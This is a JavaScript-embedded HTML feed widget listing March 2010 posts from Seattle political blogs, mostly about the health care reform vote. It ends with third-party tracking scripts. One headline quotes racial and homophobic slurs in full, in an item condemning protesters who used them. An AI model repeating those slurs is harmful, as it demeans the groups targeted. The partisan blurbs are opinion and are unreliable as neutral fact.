var digesttext = "<!-- Header --><!-- Items --><span class=\"blogs\"><a href=\"http://soundpolitics.com/archives/013860.html\" TARGET=\"_blank\">\"When a problem comes along you must whip it\"</a></span><br /><b><a href=\"http://soundpolitics.com/\" style=\"color:#000;\">Sound Politics</a></b><br />The House Democratic leadership are predicting that the Obamacare bills will pass this afternoon. Meanwhile The Hill is continually updating its \"Whip Count\" pa..<br /><small>1 hour ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://feedproxy.google.com/~r/horsesass/cckb/~3/ulltFHxwzGw/\" TARGET=\"_blank\">What’s his name to vote yes</a></span><br /><b><a href=\"http://www.horsesass.org\" style=\"color:#000;\">HorsesAss.Org</a></b><br /> From KIRO\'s Twitter feed: Rep. Brian Baird just told our DC Bureau that he will be voting yes on the health care bill. He was undecided before. I\'m shocked tha..<br /><small>2 hours ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://feedproxy.google.com/~r/horsesass/cckb/~3/CL3KVxVz0UM/\" TARGET=\"_blank\">“Niggers” and “faggots” prepare to pass health care reform</a></span><br /><b><a href=\"http://www.horsesass.org\" style=\"color:#000;\">HorsesAss.Org</a></b><br /> Tea baggers show true selves as health care reform nears passage They\'ve never been anything more than an angry mob : Tea partiers and other anti-health care a..<br /><small>3 hours ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://soundpolitics.com/archives/013859.html\" TARGET=\"_blank\">ObamaCare $562 billion deficit not surplus - NYT</a></span><br /><b><a href=\"http://soundpolitics.com/\" style=\"color:#000;\">Sound Politics</a></b><br />The Congressional Budget Office has to do the committee chair\'s bidding; it is not allowed to properly score ObamaCare - given fantasy it has to put on a straig..<br /><small>3 hours ago</small><br /><br/ ><span class=\"blogs\"><a href=\"\" TARGET=\"_blank\">Feed has moved</a></span><br /><b><a href=\"http://injusticeinseattle.blogspot.com/\" style=\"color:#000;\">Injustice In Seattle</a></b><br /> This feed has moved to http://injusticeinseattle.blogspot.com/feeds/posts/default .<br /><small>4 hours ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://feedproxy.google.com/~r/horsesass/cckb/~3/EjNnriMrc3M/\" TARGET=\"_blank\">HA Bible Study</a></span><br /><b><a href=\"http://www.horsesass.org\" style=\"color:#000;\">HorsesAss.Org</a></b><br /> Leviticus 25:44-45 And as for your male and female slaves whom you may have—from the nations that are around you, from them you may buy male and female slaves...<br /><small>7 hours ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://feedproxy.google.com/~r/horsesass/cckb/~3/qadH2w4ksIs/\" TARGET=\"_blank\">Sean Hannity is a Con Artist</a></span><br /><b><a href=\"http://www.horsesass.org\" style=\"color:#000;\">HorsesAss.Org</a></b><br /> Not that that\'s news to most of us here, but it appears that even conservatives are starting to figure it out too . <br /><small>19 hours ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://soundpolitics.com/archives/013858.html\" TARGET=\"_blank\">A Road to Serfdom (VI)</a></span><br /><b><a href=\"http://soundpolitics.com/\" style=\"color:#000;\">Sound Politics</a></b><br />Kent Kammerer at Crosscut writes about Seattle\'s government-owned electric utility following an 18% rate increase imposed by the City Council: \"City Light audit..<br /><small>20 hours ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://soundpolitics.com/archives/013857.html\" TARGET=\"_blank\">Maybe it\'s an omen to cut more spending instead</a></span><br /><b><a href=\"http://soundpolitics.com/\" style=\"color:#000;\">Sound Politics</a></b><br />Seattle Times: \"State Senate passes tax package, remains at odds with House on sales tax\" The Times homepage currently has the more optimistic headline \"Lawmake..<br /><small>21 hours ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://feedproxy.google.com/~r/horsesass/cckb/~3/84tJF6dUovQ/\" TARGET=\"_blank\">Adam Smith to vote “yes” on hcr</a></span><br /><b><a href=\"http://www.horsesass.org\" style=\"color:#000;\">HorsesAss.Org</a></b><br /> From The Seattle Times: Rep. Adam Smith announced Saturday that he will backthe House\'shistoric vote on health reform scheduled for Sunday,leaving Rep. Brian B..<br /><small>1 day ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://thepapernoose.blogspot.com/2010/03/machinists-union-throw-support-behine.html\" TARGET=\"_blank\">Machinists Union throws support behind South Park Bridge</a></span><br /><b><a href=\"http://thepapernoose.blogspot.com/\" style=\"color:#000;\">The Paper Noose</a></b><br />Just a shorty, from the IAM union district 751 paper : On Friday, District 751 Tom Wroblewski wrote to members of the Seattle and Tukwila city councils and the ..<br /><small>1 day ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://feedproxy.google.com/~r/horsesass/cckb/~3/V6v3w0URRKo/\" TARGET=\"_blank\">Mission Accomplished</a></span><br /><b><a href=\"http://www.horsesass.org\" style=\"color:#000;\">HorsesAss.Org</a></b><br /> You might think that the execution-style murder of a young American couple by drug lords in Mexico would be a significant tragedy and the another piece of evid..<br /><small>1 day ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://soundpolitics.com/archives/013856.html\" TARGET=\"_blank\">How Do I Oppose Thee?</a></span><br /><b><a href=\"http://soundpolitics.com/\" style=\"color:#000;\">Sound Politics</a></b><br />The health insurance reform bill should be opposed on many grounds. The most obvious to those of us who put a priority on liberty is that it violates our rights..<br /><small>1 day ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://feedproxy.google.com/~r/horsesass/cckb/~3/nS53vNI_ywY/\" TARGET=\"_blank\">This is what the Seattle Times thinks of you</a></span><br /><b><a href=\"http://www.horsesass.org\" style=\"color:#000;\">HorsesAss.Org</a></b><br /> The Seattle Times editorial board has, of course, come out in favor of handing over a couple acres of the Seattle Center to a wealthy local family to build a f..<br /><small>1 day ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://feedproxy.google.com/~r/horsesass/cckb/~3/HOf9DsVBDiA/\" TARGET=\"_blank\">Open thread</a></span><br /><b><a href=\"http://www.horsesass.org\" style=\"color:#000;\">HorsesAss.Org</a></b><br /> (And there are plenty more media clips from the past week in politics at Hominid Views .) <br /><small>2 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://www.majorityrules.org/blog/2010/03/charlie-wiggins-is-running-for.html\" TARGET=\"_blank\">Charlie Wiggins is Running for the Washington State Supreme Court</a></span><br /><b><a href=\"http://www.majorityrules.org/blog\" style=\"color:#000;\">Majority Rules Blog</a></b><br /> Charlie Wiggins is a candidate for the Washington State Supreme Court .&nbsp; People running for the Washington State Supreme Court have the formidable task of..<br /><small>2 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://www.washblog.com/story/2010/3/20/1270/96493\" TARGET=\"_blank\">On Selling Paranoia, Or, Conservative Emails, Examined</a></span><br /><b><a href=\"http://www.washblog.com/\" style=\"color:#000;\">Washblog - Front Page</a></b><br />It seems that many of those who are regular guests of this space are committed to a worldview based on some degree of reason and rationality. That&#x2019;s a ha..<br /><small>2 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://blog.seattlepi.com/seattlepolitics/archives/198768.asp?source=rss\" TARGET=\"_blank\">Migratory Waterfowl panel lives another day</a></span><br /><b><a href=\"http://blog.seattlepi.nwsource.com/seattlepolitics\" style=\"color:#000;\">Strange Bedfellows</a></b><br />Every bird a possible painting Say this for the Migratory Waterfowl Art Committee, it\'s resilient.<br /><small>2 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://blog.seattlepi.com/seattlepolitics/archives/198767.asp?source=rss\" TARGET=\"_blank\">Glenn Beck decries \"fringe elements\", violence</a></span><br /><b><a href=\"http://blog.seattlepi.nwsource.com/seattlepolitics\" style=\"color:#000;\">Strange Bedfellows</a></b><br /> Fox News host Glenn Beck decries \"fringe elements\" and warns against violence after speakers at a Kenai, Alaska, meeting call for armed militias who are \"not g..<br /><small>2 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://feedproxy.google.com/~r/horsesass/cckb/~3/8oJ0N45SsJI/\" TARGET=\"_blank\">Well SOMEBODY has to vote</a></span><br /><b><a href=\"http://www.horsesass.org\" style=\"color:#000;\">HorsesAss.Org</a></b><br /> From The Columbian\'s political blog, concerning the vague, say-nothing-meaningful approach taken by one candidate seeking to succeed him, Democrat Denny Heck, ..<br /><small>2 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://blog.seattlepi.com/seattlepolitics/archives/198743.asp?source=rss\" TARGET=\"_blank\">Fretting about furloughs and PTO at King Co.</a></span><br /><b><a href=\"http://blog.seattlepi.nwsource.com/seattlepolitics\" style=\"color:#000;\">Strange Bedfellows</a></b><br />Many King County workers agreed to take 10 unpaid furlough days in 2009 to help deal with a budget deficit.<br /><small>2 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://www.discoverynews.org/2010/03/abortion_con_job_begins033041.php\" TARGET=\"_blank\">Abortion Con Job Coming Into Open</a></span><br /><b><a href=\"http://www.discovery.org/blogs/discoveryblog/\" style=\"color:#000;\">Discovery Blog</a></b><br /> I pointed out March 9 (below) that if the White House and Congressional leaders cannot get the health care bill passed, all it will take to sway the final need..<br /><small>2 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://feedproxy.google.com/~r/horsesass/cckb/~3/vGeTc-qloVw/\" TARGET=\"_blank\">What does the Seattle Times hate more… organized labor, or the truth?</a></span><br /><b><a href=\"http://www.horsesass.org\" style=\"color:#000;\">HorsesAss.Org</a></b><br /> Another day, another intentionally misleading, anti-labor editorial from the Seattle Times: LAST year organized labor pushed a bill to restrict a company\'s abi..<br /><small>2 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://blog.seattlepi.com/seattlepolitics/archives/198727.asp?source=rss\" TARGET=\"_blank\">1,588 wasted phonecalls?</a></span><br /><b><a href=\"http://blog.seattlepi.nwsource.com/seattlepolitics\" style=\"color:#000;\">Strange Bedfellows</a></b><br /> A top nabob from President Obama\'s 2008 campaign sends out appeal for 1,588 phone calls to Rep. Jim McDermott, D-Wash., supporting health care bill. But McDerm..<br /><small>2 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://soundpolitics.com/archives/013853.html\" TARGET=\"_blank\">If they have so much time they can find spending to reduce</a></span><br /><b><a href=\"http://soundpolitics.com/\" style=\"color:#000;\">Sound Politics</a></b><br />\"This is the first time since 1994 that a special session has been needed with one party in control of the Capitol,\" according to Politics Northwest at Seattle ..<br /><small>2 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://crosscut.com/blog/crosscut/19404/\" TARGET=\"_blank\">Judge cancels sale of historic Seattle bank</a></span><br /><b><a href=\"http://www.crosscut.com/\" style=\"color:#000;\">crosscut.com : Mossback</a></b><br /> U.S. District Court Judge Robert Lasnik has handed down his decision in the case of The Committee for the Preservation of the Seattle Federal Reserve Bank Buil..<br /><small>2 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://thepapernoose.blogspot.com/2010/03/links-go-go_19.html\" TARGET=\"_blank\">Links a Go Go</a></span><br /><b><a href=\"http://thepapernoose.blogspot.com/\" style=\"color:#000;\">The Paper Noose</a></b><br /> Farmers market coming to Georgetown ( Weekly , and Cook Local ); I\'d have to say, the best use of that parking lot. Hike the West Duwamish Greenbelt, today at ..<br /><small>2 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://www.majorityrules.org/blog/2010/03/could-senator-murray-be-in-trouble-in.html\" TARGET=\"_blank\">Could Senator Murray be in Trouble in Washington State?</a></span><br /><b><a href=\"http://www.majorityrules.org/blog\" style=\"color:#000;\">Majority Rules Blog</a></b><br />&nbsp;In more bad news for Democratic incumbents, a new Field poll in California shows that Democratic Senator Barbara Boxer is now in a dead heat in her re-ele..<br /><small>3 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://blog.seattlepi.com/seattlepolitics/archives/198638.asp?source=rss\" TARGET=\"_blank\">Dems heat up Tea Parties to raise $$$s</a></span><br /><b><a href=\"http://blog.seattlepi.nwsource.com/seattlepolitics\" style=\"color:#000;\">Strange Bedfellows</a></b><br />They can\'t spell Glenn Beck\'s first name, but managers of Democrat Denny Heck\'s campaign for Congress put Fox pundit and Tea Party activists atop their list of ..<br /><small>3 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://blog.seattlepi.com/seattlepolitics/archives/198610.asp?source=rss\" TARGET=\"_blank\">Widener camp launches \"NotPatty.com\"</a></span><br /><b><a href=\"http://blog.seattlepi.nwsource.com/seattlepolitics\" style=\"color:#000;\">Strange Bedfellows</a></b><br />Businessman Chris Widener, one of the Republicans challenging Sen. Patty Murray, has a new, aggressive Web site up called \"NotPatty.com\".<br /><small>3 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://blog.seattlepi.com/seattlepolitics/archives/198604.asp?source=rss\" TARGET=\"_blank\">Special session: 14k a day, not 18k</a></span><br /><b><a href=\"http://blog.seattlepi.nwsource.com/seattlepolitics\" style=\"color:#000;\">Strange Bedfellows</a></b><br />The original cost estimate for the special session of the Legislature was just over $18,000 a day. Now, majority Democrats say the cost to taxpayers is just und..<br /><small>3 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://soundpolitics.com/archives/013852.html\" TARGET=\"_blank\">Positive And Negative From Chris Widener</a></span><br /><b><a href=\"http://soundpolitics.com/\" style=\"color:#000;\">Sound Politics</a></b><br />Senate candidate Chris Widener has had his campaign site up for some time. &nbsp; Now he has added a negative site, NOtPatty.com. &nbsp;(That first \"O\" looks fa..<br /><small>3 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://blog.seattlepi.com/seattlepolitics/archives/198596.asp?source=rss\" TARGET=\"_blank\">House: Expand Alpine Lakes Wilderness</a></span><br /><b><a href=\"http://blog.seattlepi.nwsource.com/seattlepolitics\" style=\"color:#000;\">Strange Bedfellows</a></b><br />Amidst partisan rancor in Washington, D.C., the House of Representatives passes a bipartisan bill to expand Washington\'s Alpine Lakes Wilderness and protect the..<br /><small>3 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://thepapernoose.blogspot.com/2010/03/another-non-starter-on-south-park.html\" TARGET=\"_blank\">Another non-starter on South Park Bridge</a></span><br /><b><a href=\"http://thepapernoose.blogspot.com/\" style=\"color:#000;\">The Paper Noose</a></b><br /> West Seattle Blog has an interesting anecdote about Council member Bagshaw\'s stance on the South Park Bridge: Since the bridge’s biggest safety issues come fro..<br /><small>3 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://www.majorityrules.org/blog/2010/03/press-release-on-saving-waldo-woods.html\" TARGET=\"_blank\">Press release on Saving Waldo Woods from Maple Leaf Community Council</a></span><br /><b><a href=\"http://www.majorityrules.org/blog\" style=\"color:#000;\">Majority Rules Blog</a></b><br />March 17, 2010 FOR IMMEDIATE RELEASE ** Waldo Woods Permanently Preserved ** (SEATTLE, WA) – The Maple Leaf Community Council Executive Board is pleased to anno..<br /><small>4 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://soundpolitics.com/archives/013850.html\" TARGET=\"_blank\">Obama: \"It\'s Got Raisins In It ... You Like Raisins\"</a></span><br /><b><a href=\"http://soundpolitics.com/\" style=\"color:#000;\">Sound Politics</a></b><br />To most people, it\'s obvious that the White House line -- that people should like the health insurance bill because it has something in it that they like -- is ..<br /><small>4 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://www.discoverynews.org/2010/03/the_main_reasons_to_answer_the032911.php\" TARGET=\"_blank\">The Reasons to Answer the Census</a></span><br /><b><a href=\"http://www.discovery.org/blogs/discoveryblog/\" style=\"color:#000;\">Discovery Blog</a></b><br /> Some folks are bothered a bit by a couple of trends in the taking of the Census; yes, the one being taken right now. First is the letter householders are getti..<br /><small>4 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://soundpolitics.com/archives/013849.html\" TARGET=\"_blank\">A Win For Sound Math Education</a></span><br /><b><a href=\"http://soundpolitics.com/\" style=\"color:#000;\">Sound Politics</a></b><br />In a neighboring suburb. Major Update: Tonight (Thursday night [March 9th]) the Bellevue Math Adoption Committee voted to adopt Holt instead of the Discovering ..<br /><small>4 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://blog.seattlepi.com/seattlepolitics/archives/198499.asp?source=rss\" TARGET=\"_blank\">Labor cool to McGinn; Constantine says \'stop the dithering\'</a></span><br /><b><a href=\"http://blog.seattlepi.nwsource.com/seattlepolitics\" style=\"color:#000;\">Strange Bedfellows</a></b><br />Construction workers and union members gather in Westlake Park for a rally to demand the 520 bridge project, the Viaduct replacement project and a convention ce..<br /><small>4 days ago</small><br /><br/ ><span class=\"blogs\"><a href=\"http://blog.seattlepi.com/seattlepolitics/archives/198505.asp?source=rss\" TARGET=\"_blank\">Nuns, pro-life congressman come out for health care</a></span><br /><b><a href=\"http://blog.seattlepi.nwsource.com/seattlepolitics\" style=\"color:#000;\">Strange Bedfellows</a></b><br /> A consortium representing 59,000 Roman Catholic nuns, as well as a pro-life congressman and former seminarian, endorse passage of health care reform.<br /><small>4 days ago</small><br /><br/ ><!-- Footer --><div class=\"fdpoweredby\" style=\"text-align: right; font-size: 10px; font-family: sans-serif\"><a style=\"color: #888\" href=\"http://feed.informer.com\">Powered by Feed Informer</a></div><script type=\"text/javascript\">/* <![CDATA[ */document.write(\"<img src=\'http://hits.informer.com/log.php?id=44&amp;r=\"+ Math.round(100000 * Math.random()) + \"\' />\");/* ]]> */</script><script type=\"text/javascript\" src=\"http://208.88.226.83/log_e.php?id=ET9PWG6MWS&amp;r=0.604345438708251\"></script>";
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